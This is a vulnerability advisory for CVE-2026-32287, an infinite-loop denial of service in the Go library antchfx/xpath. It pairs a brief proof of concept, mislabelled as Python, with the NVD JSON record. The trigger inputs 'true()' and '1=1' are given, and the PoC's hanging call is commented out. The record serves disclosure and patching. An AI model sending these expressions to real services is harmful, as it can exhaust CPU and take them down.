Boolean XPath expressions that evaluate to true can cause an infinite loop in logicalQuery.Select, leading to 100% CPU usage. This can be triggered by top-level selectors such as "1=1" or "true()".
The following code is for security research and authorized testing only.
python
package main
import (
"fmt"
"github.com/antchfx/xpath"
)
func main() {
// PoC: Triggering the infinite loop with a boolean XPath expression
// This requires a vulnerable version of antchfx/xpath
expr, err := xpath.Compile("true()")
if err != nil {
panic(err)
}
// The Evaluate call leads to logicalQuery.Select entering an infinite loop
// consuming 100% CPU.
fmt.Println("Executing vulnerable XPath query...")
// Uncommenting the following line on a vulnerable version will hang the process:
// expr.Evaluate(nil)
fmt.Println("PoC completed (if vulnerable, process would hang)")
}
{"cve": {"id": "CVE-2026-32287", "sourceIdentifier": "[email protected]", "published": "2026-03-26T20:16:12.403", "lastModified": "2026-04-21T15:33:09.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Boolean XPath expressions that evaluate to true can cause an infinite loop in logicalQuery.Select, leading to 100% CPU usage. This can be triggered by top-level selectors such as \"1=1\" or \"true()\"."}, {"lang": "es", "value": "Expresiones booleanas de XPath que se evalúan como verdaderas pueden causar un bucle infinito en logicalQuery.Select, lo que lleva a un uso del 100% de la CPU. Esto puede ser activado por selectores de nivel superior como 1=1 o true()."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:antchfx:xpath:*:*:*:*:*:go:*:*", "versionEndExcluding": "1.3.6", "matchCriteriaId": "9456C4F2-D4AD-4F6D-9520-00E6C5C4AB18"}]}]}], "references": [{"url": "https://github.com/antchfx/xpath/commit/afd4762cc342af56345a3fb4002a59281fcab494", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/antchfx/xpath/issues/121", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/golang/vulndb/issues/4526", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4526", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://securityinfinity.com/research/infinite-loop-dos-in-antchfx-xpath-logicalquery-select", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}